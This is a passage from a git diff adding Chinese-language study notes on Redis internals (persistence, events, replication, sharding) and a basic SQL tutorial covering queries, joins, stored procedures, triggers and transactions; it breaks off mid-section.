||||
|
||||
## AOF 持久化
|
||||
|
||||
将写命令添加到 AOF 文件(Append Only File)的末尾。
|
||||
|
||||
使用 AOF 持久化需要设置同步选项,从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上,而是先存储到缓冲区,然后由操作系统决定什么时候同步到磁盘。有以下同步选项:
|
||||
|
||||
| 选项 | 同步频率 |
|
||||
| :--: | :--: |
|
||||
| always | 每个写命令都同步 |
|
||||
| everysec | 每秒同步一次 |
|
||||
| no | 让操作系统来决定何时同步 |
|
||||
|
||||
- always 选项会严重减低服务器的性能;
|
||||
- everysec 选项比较合适,可以保证系统崩溃时只会丢失一秒左右的数据,并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响;
|
||||
- no 选项并不能给服务器性能带来多大的提升,而且也会增加系统崩溃时数据丢失的数量。
|
||||
|
||||
随着服务器写请求的增多,AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。
|
||||
|
||||
# 九、事务
|
||||
|
||||
一个事务包含了多个命令,服务器在执行事务期间,不会改去执行其它客户端的命令请求。
|
||||
|
||||
事务中的多个命令被一次性发送给服务器,而不是一条一条发送,这种方式被称为流水线,它可以减少客户端与服务器之间的网络通信次数从而提升性能。
|
||||
|
||||
Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
|
||||
|
||||
# 十、事件
|
||||
|
||||
Redis 服务器是一个事件驱动程序。
|
||||
|
||||
## 文件事件
|
||||
|
||||
服务器通过套接字与客户端或者其它服务器进行通信,文件事件就是对套接字操作的抽象。
|
||||
|
||||
Redis 基于 Reactor 模式开发了自己的网络事件处理器,使用 I/O 多路复用程序来同时监听多个套接字,并将到达的事件传送给文件事件分派器,分派器会根据套接字产生的事件类型调用相应的事件处理器。
|
||||
|
||||
<div align="center"> <img src="../pics//9ea86eb5-000a-4281-b948-7b567bd6f1d8.png"/> </div><br>
|
||||
|
||||
## 时间事件
|
||||
|
||||
服务器有一些操作需要在给定的时间点执行,时间事件是对这类定时操作的抽象。
|
||||
|
||||
时间事件又分为:
|
||||
|
||||
- 定时事件:是让一段程序在指定的时间之内执行一次;
|
||||
- 周期性事件:是让一段程序每隔指定时间就执行一次。
|
||||
|
||||
Redis 将所有时间事件都放在一个无序链表中,通过遍历整个链表查找出已到达的时间事件,并调用相应的事件处理器。
|
||||
|
||||
## 事件的调度与执行
|
||||
|
||||
服务器需要不断监听文件事件的套接字才能得到待处理的文件事件,但是不能一直监听,否则时间事件无法在规定的时间内执行,因此监听时间应该根据距离现在最近的时间事件来决定。
|
||||
|
||||
事件调度与执行由 aeProcessEvents 函数负责,伪代码如下:
|
||||
|
||||
```python
|
||||
def aeProcessEvents():
|
||||
# 获取到达时间离当前时间最接近的时间事件
|
||||
time_event = aeSearchNearestTimer()
|
||||
# 计算最接近的时间事件距离到达还有多少毫秒
|
||||
remaind_ms = time_event.when - unix_ts_now()
|
||||
# 如果事件已到达,那么 remaind_ms 的值可能为负数,将它设为 0
|
||||
if remaind_ms < 0:
|
||||
remaind_ms = 0
|
||||
# 根据 remaind_ms 的值,创建 timeval
|
||||
timeval = create_timeval_with_ms(remaind_ms)
|
||||
# 阻塞并等待文件事件产生,最大阻塞时间由传入的 timeval 决定
|
||||
aeApiPoll(timeval)
|
||||
# 处理所有已产生的文件事件
|
||||
procesFileEvents()
|
||||
# 处理所有已到达的时间事件
|
||||
processTimeEvents()
|
||||
```
|
||||
|
||||
将 aeProcessEvents 函数置于一个循环里面,加上初始化和清理函数,就构成了 Redis 服务器的主函数,伪代码如下:
|
||||
|
||||
```python
|
||||
def main():
|
||||
# 初始化服务器
|
||||
init_server()
|
||||
# 一直处理事件,直到服务器关闭为止
|
||||
while server_is_not_shutdown():
|
||||
aeProcessEvents()
|
||||
# 服务器关闭,执行清理操作
|
||||
clean_server()
|
||||
```
|
||||
|
||||
从事件处理的角度来看,服务器运行流程如下:
|
||||
|
||||
<div align="center"> <img src="../pics//c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="400"/> </div><br>
|
||||
|
||||
# 十一、复制
|
||||
|
||||
通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
|
||||
|
||||
一个从服务器只能有一个主服务器,并且不支持主主复制。
|
||||
|
||||
## 连接过程
|
||||
|
||||
1. 主服务器创建快照文件,发送给从服务器,并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后,开始向从服务器发送存储在缓冲区中的写命令;
|
||||
|
||||
2. 从服务器丢弃所有旧数据,载入主服务器发来的快照文件,之后从服务器开始接受主服务器发来的写命令;
|
||||
|
||||
3. 主服务器每执行一次写命令,就向从服务器发送相同的写命令。
|
||||
|
||||
## 主从链
|
||||
|
||||
随着负载不断上升,主服务器可能无法很快地更新所有从服务器,或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题,可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器,又是最下层服务器的主服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
|
||||
|
||||
# 十二、Sentinel
|
||||
|
||||
Sentinel(哨兵)可以监听集群中的服务器,并在主服务器进入下线状态时,自动从从服务器中选举出新的主服务器。
|
||||
|
||||
# 十三、分片
|
||||
|
||||
分片是将数据划分为多个部分的方法,可以将数据存储到多台机器里面,这种方法在解决某些问题时可以获得线性级别的性能提升。
|
||||
|
||||
假设有 4 个 Reids 实例 R0,R1,R2,R3,还有很多表示用户的键 user:1,user:2,... ,有不同的方式来选择一个指定的键存储在哪个实例中。
|
||||
|
||||
- 最简单的方式是范围分片,例如用户 id 从 0\~1000 的存储到实例 R0 中,用户 id 从 1001\~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。
|
||||
- 还有一种方式是哈希分片,使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。
|
||||
|
||||
根据执行分片的位置,可以分为三种分片方式:
|
||||
|
||||
- 客户端分片:客户端使用一致性哈希等算法决定键应当分布到哪个节点。
|
||||
- 代理分片:将客户端请求发送到代理上,由代理转发请求到正确的节点上。
|
||||
- 服务器分片:Redis Cluster。
|
||||
|
||||
# 十四、一个简单的论坛系统分析
|
||||
|
||||
该论坛系统功能如下:
|
||||
|
||||
- 可以发布文章;
|
||||
- 可以对文章进行点赞;
|
||||
- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示。
|
||||
|
||||
## 文章信息
|
||||
|
||||
文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
|
||||
|
||||
Redis 没有关系型数据库中的表这一概念来将同种类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID,通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617,其中 article 为命名空间,ID 为 92617。
|
||||
|
||||
<div align="center"> <img src="../pics//7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
|
||||
|
||||
## 点赞功能
|
||||
|
||||
当有用户为一篇文章点赞时,除了要对该文章的 votes 字段进行加 1 操作,还必须记录该用户已经对该文章进行了点赞,防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
|
||||
|
||||
为了节约内存,规定一篇文章发布满一周之后,就不能再对它进行投票,而文章的已投票集合也会被删除,可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。
|
||||
|
||||
<div align="center"> <img src="../pics//485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br>
|
||||
|
||||
## 对文章进行排序
|
||||
|
||||
为了按发布时间和点赞数进行排序,可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。(下图中的 score 就是这里所说的点赞数;下面所示的有序集合分值并不直接是时间和点赞数,而是根据时间和点赞数间接计算出来的)
|
||||
|
||||
<div align="center"> <img src="../pics//f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
|
||||
- [黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.](http://redisbook.com/index.html)
|
||||
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
|
||||
- [Skip Lists: Done Right](http://ticki.github.io/blog/skip-lists-done-right/)
|
||||
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
|
||||
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
|
||||
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
|
||||
- [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
|
767
docs/notes/SQL.md
Normal file
767
docs/notes/SQL.md
Normal file
@ -0,0 +1,767 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、基础](#一基础)
|
||||
* [二、创建表](#二创建表)
|
||||
* [三、修改表](#三修改表)
|
||||
* [四、插入](#四插入)
|
||||
* [五、更新](#五更新)
|
||||
* [六、删除](#六删除)
|
||||
* [七、查询](#七查询)
|
||||
* [八、排序](#八排序)
|
||||
* [九、过滤](#九过滤)
|
||||
* [十、通配符](#十通配符)
|
||||
* [十一、计算字段](#十一计算字段)
|
||||
* [十二、函数](#十二函数)
|
||||
* [十三、分组](#十三分组)
|
||||
* [十四、子查询](#十四子查询)
|
||||
* [十五、连接](#十五连接)
|
||||
* [十六、组合查询](#十六组合查询)
|
||||
* [十七、视图](#十七视图)
|
||||
* [十八、存储过程](#十八存储过程)
|
||||
* [十九、游标](#十九游标)
|
||||
* [二十、触发器](#二十触发器)
|
||||
* [二十一、事务管理](#二十一事务管理)
|
||||
* [二十二、字符集](#二十二字符集)
|
||||
* [二十三、权限管理](#二十三权限管理)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、基础
|
||||
|
||||
模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。
|
||||
|
||||
主键的值不允许修改,也不允许复用(不能使用已经删除的主键值赋给新数据行的主键)。
|
||||
|
||||
SQL(Structured Query Language),标准 SQL 由 ANSI 标准委员会管理,从而称为 ANSI SQL。各个 DBMS 都有自己的实现,如 PL/SQL、Transact-SQL 等。
|
||||
|
||||
SQL 语句不区分大小写,但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。
|
||||
|
||||
SQL 支持以下三种注释:
|
||||
|
||||
```sql
|
||||
# 注释
|
||||
SELECT *
|
||||
FROM mytable; -- 注释
|
||||
/* 注释1
|
||||
注释2 */
|
||||
```
|
||||
|
||||
数据库创建与使用:
|
||||
|
||||
```sql
|
||||
CREATE DATABASE test;
|
||||
USE test;
|
||||
```
|
||||
|
||||
# 二、创建表
|
||||
|
||||
```sql
|
||||
CREATE TABLE mytable (
|
||||
id INT NOT NULL AUTO_INCREMENT,
|
||||
col1 INT NOT NULL DEFAULT 1,
|
||||
col2 VARCHAR(45) NULL,
|
||||
col3 DATE NULL,
|
||||
PRIMARY KEY (`id`));
|
||||
```
|
||||
|
||||
# 三、修改表
|
||||
|
||||
添加列
|
||||
|
||||
```sql
|
||||
ALTER TABLE mytable
|
||||
ADD col CHAR(20);
|
||||
```
|
||||
|
||||
删除列
|
||||
|
||||
```sql
|
||||
ALTER TABLE mytable
|
||||
DROP COLUMN col;
|
||||
```
|
||||
|
||||
删除表
|
||||
|
||||
```sql
|
||||
DROP TABLE mytable;
|
||||
```
|
||||
|
||||
# 四、插入
|
||||
|
||||
普通插入
|
||||
|
||||
```sql
|
||||
INSERT INTO mytable(col1, col2)
|
||||
VALUES(val1, val2);
|
||||
```
|
||||
|
||||
插入检索出来的数据
|
||||
|
||||
```sql
|
||||
INSERT INTO mytable1(col1, col2)
|
||||
SELECT col1, col2
|
||||
FROM mytable2;
|
||||
```
|
||||
|
||||
将一个表的内容插入到一个新表
|
||||
|
||||
```sql
|
||||
CREATE TABLE newtable AS
|
||||
SELECT * FROM mytable;
|
||||
```
|
||||
|
||||
# 五、更新
|
||||
|
||||
```sql
|
||||
UPDATE mytable
|
||||
SET col = val
|
||||
WHERE id = 1;
|
||||
```
|
||||
|
||||
# 六、删除
|
||||
|
||||
```sql
|
||||
DELETE FROM mytable
|
||||
WHERE id = 1;
|
||||
```
|
||||
|
||||
**TRUNCATE TABLE** 可以清空表,也就是删除所有行。
|
||||
|
||||
```sql
|
||||
TRUNCATE TABLE mytable;
|
||||
```
|
||||
|
||||
使用更新和删除操作时一定要用 WHERE 子句,不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试,防止错误删除。
|
||||
|
||||
# 七、查询
|
||||
|
||||
## DISTINCT
|
||||
|
||||
相同值只会出现一次。它作用于所有列,也就是说所有列的值都相同才算相同。
|
||||
|
||||
```sql
|
||||
SELECT DISTINCT col1, col2
|
||||
FROM mytable;
|
||||
```
|
||||
|
||||
## LIMIT
|
||||
|
||||
限制返回的行数。可以有两个参数,第一个参数为起始行,从 0 开始;第二个参数为返回的总行数。
|
||||
|
||||
返回前 5 行:
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
LIMIT 5;
|
||||
```
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
LIMIT 0, 5;
|
||||
```
|
||||
|
||||
返回第 3 \~ 5 行:
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
LIMIT 2, 3;
|
||||
```
|
||||
|
||||
# 八、排序
|
||||
|
||||
- **ASC** :升序(默认)
|
||||
- **DESC** :降序
|
||||
|
||||
可以按多个列进行排序,并且为每个列指定不同的排序方式:
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
ORDER BY col1 DESC, col2 ASC;
|
||||
```
|
||||
|
||||
# 九、过滤
|
||||
|
||||
不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
WHERE col IS NULL;
|
||||
```
|
||||
|
||||
下表显示了 WHERE 子句可用的操作符
|
||||
|
||||
| 操作符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| = | 等于 |
|
||||
| < | 小于 |
|
||||
| > | 大于 |
|
||||
| <> != | 不等于 |
|
||||
| <= !> | 小于等于 |
|
||||
| >= !< | 大于等于 |
|
||||
| BETWEEN | 在两个值之间 |
|
||||
| IS NULL | 为 NULL 值 |
|
||||
|
||||
应该注意到,NULL 与 0、空字符串都不同。
|
||||
|
||||
**AND 和 OR** 用于连接多个过滤条件。优先处理 AND,当一个过滤表达式涉及到多个 AND 和 OR 时,可以使用 () 来决定优先级,使得优先级关系更清晰。
|
||||
|
||||
**IN** 操作符用于匹配一组值,其后也可以接一个 SELECT 子句,从而匹配子查询得到的一组值。
|
||||
|
||||
**NOT** 操作符用于否定一个条件。
|
||||
|
||||
# 十、通配符
|
||||
|
||||
通配符也是用在过滤语句中,但它只能用于文本字段。
|
||||
|
||||
- **%** 匹配 >=0 个任意字符;
|
||||
|
||||
- **\_** 匹配 ==1 个任意字符;
|
||||
|
||||
- **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。
|
||||
|
||||
使用 Like 来进行通配符匹配。
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本
|
||||
```
|
||||
|
||||
不要滥用通配符,通配符位于开头处匹配会非常慢。
|
||||
|
||||
# 十一、计算字段
|
||||
|
||||
在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多,并且转换和格式化后的数据量更少的话可以减少网络通信量。
|
||||
|
||||
计算字段通常需要使用 **AS** 来取别名,否则输出的时候字段名为计算表达式。
|
||||
|
||||
```sql
|
||||
SELECT col1 * col2 AS alias
|
||||
FROM mytable;
|
||||
```
|
||||
|
||||
**CONCAT()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽,因此连接的结果会出现一些不必要的空格,使用 **TRIM()** 可以去除首尾空格。
|
||||
|
||||
```sql
|
||||
SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col
|
||||
FROM mytable;
|
||||
```
|
||||
|
||||
# 十二、函数
|
||||
|
||||
各个 DBMS 的函数都是不相同的,因此不可移植,以下主要是 MySQL 的函数。
|
||||
|
||||
## 汇总
|
||||
|
||||
|函 数 |说 明|
|
||||
| :---: | :---: |
|
||||
| AVG() | 返回某列的平均值 |
|
||||
| COUNT() | 返回某列的行数 |
|
||||
| MAX() | 返回某列的最大值 |
|
||||
| MIN() | 返回某列的最小值 |
|
||||
| SUM() |返回某列值之和 |
|
||||
|
||||
AVG() 会忽略 NULL 行。
|
||||
|
||||
使用 DISTINCT 可以让汇总函数值汇总不同的值。
|
||||
|
||||
```sql
|
||||
SELECT AVG(DISTINCT col1) AS avg_col
|
||||
FROM mytable;
|
||||
```
|
||||
|
||||
## 文本处理
|
||||
|
||||
| 函数 | 说明 |
|
||||
| :---: | :---: |
|
||||
| LEFT() | 左边的字符 |
|
||||
| RIGHT() | 右边的字符 |
|
||||
| LOWER() | 转换为小写字符 |
|
||||
| UPPER() | 转换为大写字符 |
|
||||
| LTRIM() | 去除左边的空格 |
|
||||
| RTRIM() | 去除右边的空格 |
|
||||
| LENGTH() | 长度 |
|
||||
| SOUNDEX() | 转换为语音值 |
|
||||
|
||||
其中, **SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable
|
||||
WHERE SOUNDEX(col1) = SOUNDEX('apple')
|
||||
```
|
||||
|
||||
## 日期和时间处理
|
||||
|
||||
- 日期格式:YYYY-MM-DD
|
||||
- 时间格式:HH:MM:SS
|
||||
|
||||
|函 数 | 说 明|
|
||||
| :---: | :---: |
|
||||
| AddDate() | 增加一个日期(天、周等)|
|
||||
| AddTime() | 增加一个时间(时、分等)|
|
||||
| CurDate() | 返回当前日期 |
|
||||
| CurTime() | 返回当前时间 |
|
||||
| Date() |返回日期时间的日期部分|
|
||||
| DateDiff() |计算两个日期之差|
|
||||
| Date_Add() |高度灵活的日期运算函数|
|
||||
| Date_Format() |返回一个格式化的日期或时间串|
|
||||
| Day()| 返回一个日期的天数部分|
|
||||
| DayOfWeek() |对于一个日期,返回对应的星期几|
|
||||
| Hour() |返回一个时间的小时部分|
|
||||
| Minute() |返回一个时间的分钟部分|
|
||||
| Month() |返回一个日期的月份部分|
|
||||
| Now() |返回当前日期和时间|
|
||||
| Second() |返回一个时间的秒部分|
|
||||
| Time() |返回一个日期时间的时间部分|
|
||||
| Year() |返回一个日期的年份部分|
|
||||
|
||||
```sql
|
||||
mysql> SELECT NOW();
|
||||
```
|
||||
|
||||
```
|
||||
2018-4-14 20:25:11
|
||||
```
|
||||
|
||||
## 数值处理
|
||||
|
||||
| 函数 | 说明 |
|
||||
| :---: | :---: |
|
||||
| SIN() | 正弦 |
|
||||
| COS() | 余弦 |
|
||||
| TAN() | 正切 |
|
||||
| ABS() | 绝对值 |
|
||||
| SQRT() | 平方根 |
|
||||
| MOD() | 余数 |
|
||||
| EXP() | 指数 |
|
||||
| PI() | 圆周率 |
|
||||
| RAND() | 随机数 |
|
||||
|
||||
# 十三、分组
|
||||
|
||||
分组就是把具有相同的数据值的行放在同一组中。
|
||||
|
||||
可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。
|
||||
|
||||
指定的分组字段除了能按该字段进行分组,也会自动按该字段进行排序。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
GROUP BY col;
|
||||
```
|
||||
|
||||
GROUP BY 自动按分组字段进行排序,ORDER BY 也可以按汇总字段来进行排序。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
GROUP BY col
|
||||
ORDER BY num;
|
||||
```
|
||||
|
||||
WHERE 过滤行,HAVING 过滤分组,行过滤应当先于分组过滤。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
WHERE col > 2
|
||||
GROUP BY col
|
||||
HAVING num >= 2;
|
||||
```
|
||||
|
||||
分组规定:
|
||||
|
||||
- GROUP BY 子句出现在 WHERE 子句之后,ORDER BY 子句之前;
|
||||
- 除了汇总字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
|
||||
- NULL 的行会单独分为一组;
|
||||
- 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
|
||||
|
||||
# 十四、子查询
|
||||
|
||||
子查询中只能返回一个字段的数据。
|
||||
|
||||
可以将子查询的结果作为 WHRER 语句的过滤条件:
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable1
|
||||
WHERE col1 IN (SELECT col2
|
||||
FROM mytable2);
|
||||
```
|
||||
|
||||
下面的语句可以检索出客户的订单数量,子查询语句会对第一个查询检索出的每个客户执行一次:
|
||||
|
||||
```sql
|
||||
SELECT cust_name, (SELECT COUNT(*)
|
||||
FROM Orders
|
||||
WHERE Orders.cust_id = Customers.cust_id)
|
||||
AS orders_num
|
||||
FROM Customers
|
||||
ORDER BY cust_name;
|
||||
```
|
||||
|
||||
# 十五、连接
|
||||
|
||||
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE。
|
||||
|
||||
连接可以替换子查询,并且比子查询的效率一般会更快。
|
||||
|
||||
可以用 AS 给列名、计算字段和表名取别名,给表名取别名是为了简化 SQL 语句以及连接相同表。
|
||||
|
||||
## 内连接
|
||||
|
||||
内连接又称等值连接,使用 INNER JOIN 关键字。
|
||||
|
||||
```sql
|
||||
SELECT A.value, B.value
|
||||
FROM tablea AS A INNER JOIN tableb AS B
|
||||
ON A.key = B.key;
|
||||
```
|
||||
|
||||
可以不明确使用 INNER JOIN,而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
|
||||
|
||||
```sql
|
||||
SELECT A.value, B.value
|
||||
FROM tablea AS A, tableb AS B
|
||||
WHERE A.key = B.key;
|
||||
```
|
||||
|
||||
在没有条件语句的情况下返回笛卡尔积。
|
||||
|
||||
## 自连接
|
||||
|
||||
自连接可以看成内连接的一种,只是连接的表是自身而已。
|
||||
|
||||
一张员工表,包含员工姓名和员工所属部门,要找出与 Jim 处在同一部门的所有员工姓名。
|
||||
|
||||
子查询版本
|
||||
|
||||
```sql
|
||||
SELECT name
|
||||
FROM employee
|
||||
WHERE department = (
|
||||
SELECT department
|
||||
FROM employee
|
||||
WHERE name = "Jim");
|
||||
```
|
||||
|
||||
自连接版本
|
||||
|
||||
```sql
|
||||
SELECT e1.name
|
||||
FROM employee AS e1 INNER JOIN employee AS e2
|
||||
ON e1.department = e2.department
|
||||
AND e2.name = "Jim";
|
||||
```
|
||||
|
||||
## 自然连接
|
||||
|
||||
自然连接是把同名列通过等值测试连接起来的,同名列可以有多个。
|
||||
|
||||
内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。
|
||||
|
||||
```sql
|
||||
SELECT A.value, B.value
|
||||
FROM tablea AS A NATURAL JOIN tableb AS B;
|
||||
```
|
||||
|
||||
## 外连接
|
||||
|
||||
外连接保留了没有关联的那些行。分为左外连接,右外连接以及全外连接,左外连接就是保留左表没有关联的行。
|
||||
|
||||
检索所有顾客的订单信息,包括还没有订单信息的顾客。
|
||||
|
||||
```sql
|
||||
SELECT Customers.cust_id, Orders.order_num
|
||||
FROM Customers LEFT OUTER JOIN Orders
|
||||
ON Customers.cust_id = Orders.cust_id;
|
||||
```
|
||||
|
||||
customers 表:
|
||||
|
||||
| cust_id | cust_name |
|
||||
| :---: | :---: |
|
||||
| 1 | a |
|
||||
| 2 | b |
|
||||
| 3 | c |
|
||||
|
||||
orders 表:
|
||||
|
||||
| order_id | cust_id |
|
||||
| :---: | :---: |
|
||||
|1 | 1 |
|
||||
|2 | 1 |
|
||||
|3 | 3 |
|
||||
|4 | 3 |
|
||||
|
||||
结果:
|
||||
|
||||
| cust_id | cust_name | order_id |
|
||||
| :---: | :---: | :---: |
|
||||
| 1 | a | 1 |
|
||||
| 1 | a | 2 |
|
||||
| 3 | c | 3 |
|
||||
| 3 | c | 4 |
|
||||
| 2 | b | Null |
|
||||
|
||||
# 十六、组合查询
|
||||
|
||||
使用 **UNION** 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果一般为 M+N 行。
|
||||
|
||||
每个查询必须包含相同的列、表达式和聚集函数。
|
||||
|
||||
默认会去除相同行,如果需要保留相同行,使用 UNION ALL。
|
||||
|
||||
只能包含一个 ORDER BY 子句,并且必须位于语句的最后。
|
||||
|
||||
```sql
|
||||
SELECT col
|
||||
FROM mytable
|
||||
WHERE col = 1
|
||||
UNION
|
||||
SELECT col
|
||||
FROM mytable
|
||||
WHERE col =2;
|
||||
```
|
||||
|
||||
# 十七、视图
|
||||
|
||||
视图是虚拟的表,本身不包含数据,也就不能对其进行索引操作。
|
||||
|
||||
对视图的操作和对普通表的操作一样。
|
||||
|
||||
视图具有如下好处:
|
||||
|
||||
- 简化复杂的 SQL 操作,比如复杂的连接;
|
||||
- 只使用实际表的一部分数据;
|
||||
- 通过只给用户访问视图的权限,保证数据的安全性;
|
||||
- 更改数据格式和表示。
|
||||
|
||||
```sql
|
||||
CREATE VIEW myview AS
|
||||
SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col
|
||||
FROM mytable
|
||||
WHERE col5 = val;
|
||||
```
|
||||
|
||||
# 十八、存储过程
|
||||
|
||||
存储过程可以看成是对一系列 SQL 操作的批处理。
|
||||
|
||||
使用存储过程的好处:
|
||||
|
||||
- 代码封装,保证了一定的安全性;
|
||||
- 代码复用;
|
||||
- 由于是预先编译,因此具有很高的性能。
|
||||
|
||||
命令行中创建存储过程需要自定义分隔符,因为命令行是以 ; 为结束符,而存储过程中也包含了分号,因此会错误把这部分分号当成是结束符,造成语法错误。
|
||||
|
||||
包含 in、out 和 inout 三种参数。
|
||||
|
||||
给变量赋值都需要用 select into 语句。
|
||||
|
||||
每次只能给一个变量赋值,不支持集合的操作。
|
||||
|
||||
```sql
|
||||
delimiter //
|
||||
|
||||
create procedure myprocedure( out ret int )
|
||||
begin
|
||||
declare y int;
|
||||
select sum(col1)
|
||||
from mytable
|
||||
into y;
|
||||
select y*y into ret;
|
||||
end //
|
||||
|
||||
delimiter ;
|
||||
```
|
||||
|
||||
```sql
|
||||
call myprocedure(@ret);
|
||||
select @ret;
|
||||
```
|
||||
|
||||
# 十九、游标
|
||||
|
||||
在存储过程中使用游标可以对一个结果集进行移动遍历。
|
||||
|
||||
游标主要用于交互式应用,其中用户需要对数据集中的任意行进行浏览和修改。
|
||||
|
||||
使用游标的四个步骤:
|
||||
|
||||
1. 声明游标,这个过程没有实际检索出数据;
|
||||
2. 打开游标;
|
||||
3. 取出数据;
|
||||
4. 关闭游标;
|
||||
|
||||
```sql
|
||||
delimiter //
|
||||
create procedure myprocedure(out ret int)
|
||||
begin
|
||||
declare done boolean default 0;
|
||||
|
||||
declare mycursor cursor for
|
||||
select col1 from mytable;
|
||||
# 定义了一个 continue handler,当 sqlstate '02000' 这个条件出现时,会执行 set done = 1
|
||||
declare continue handler for sqlstate '02000' set done = 1;
|
||||
|
||||
open mycursor;
|
||||
|
||||
repeat
|
||||
fetch mycursor into ret;
|
||||
select ret;
|
||||
until done end repeat;
|
||||
|
||||
close mycursor;
|
||||
end //
|
||||
delimiter ;
|
||||
```
|
||||
|
||||
# 二十、触发器
|
||||
|
||||
触发器会在某个表执行以下语句时而自动执行:DELETE、INSERT、UPDATE。
|
||||
|
||||
触发器必须指定在语句执行之前还是之后自动执行,之前执行使用 BEFORE 关键字,之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化,AFTER 用于审计跟踪,将修改记录到另外一张表中。
|
||||
|
||||
INSERT 触发器包含一个名为 NEW 的虚拟表。
|
||||
|
||||
```sql
|
||||
CREATE TRIGGER mytrigger AFTER INSERT ON mytable
|
||||
FOR EACH ROW SELECT NEW.col into @result;
|
||||
|
||||
SELECT @result; -- 获取结果
|
||||
```
|
||||
|
||||
DELETE 触发器包含一个名为 OLD 的虚拟表,并且是只读的。
|
||||
|
||||
UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中 NEW 是可以被修改的,而 OLD 是只读的。
|
||||
|
||||
MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储过程。
|
||||
|
||||
# 二十一、事务管理
|
||||
|
||||
基本术语:
|
||||
|
||||
- 事务(transaction)指一组 SQL 语句;
|
||||
- 回退(rollback)指撤销指定 SQL 语句的过程;
|
||||
- 提交(commit)指将未存储的 SQL 语句结果写入数据库表;
|
||||
- 保留点(savepoint)指事务处理中设置的临时占位符(placeholder),你可以对它发布回退(与回退整个事务处理不同)。
|
||||
|
||||
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。
|
||||
|
||||
MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
|
||||
|
||||
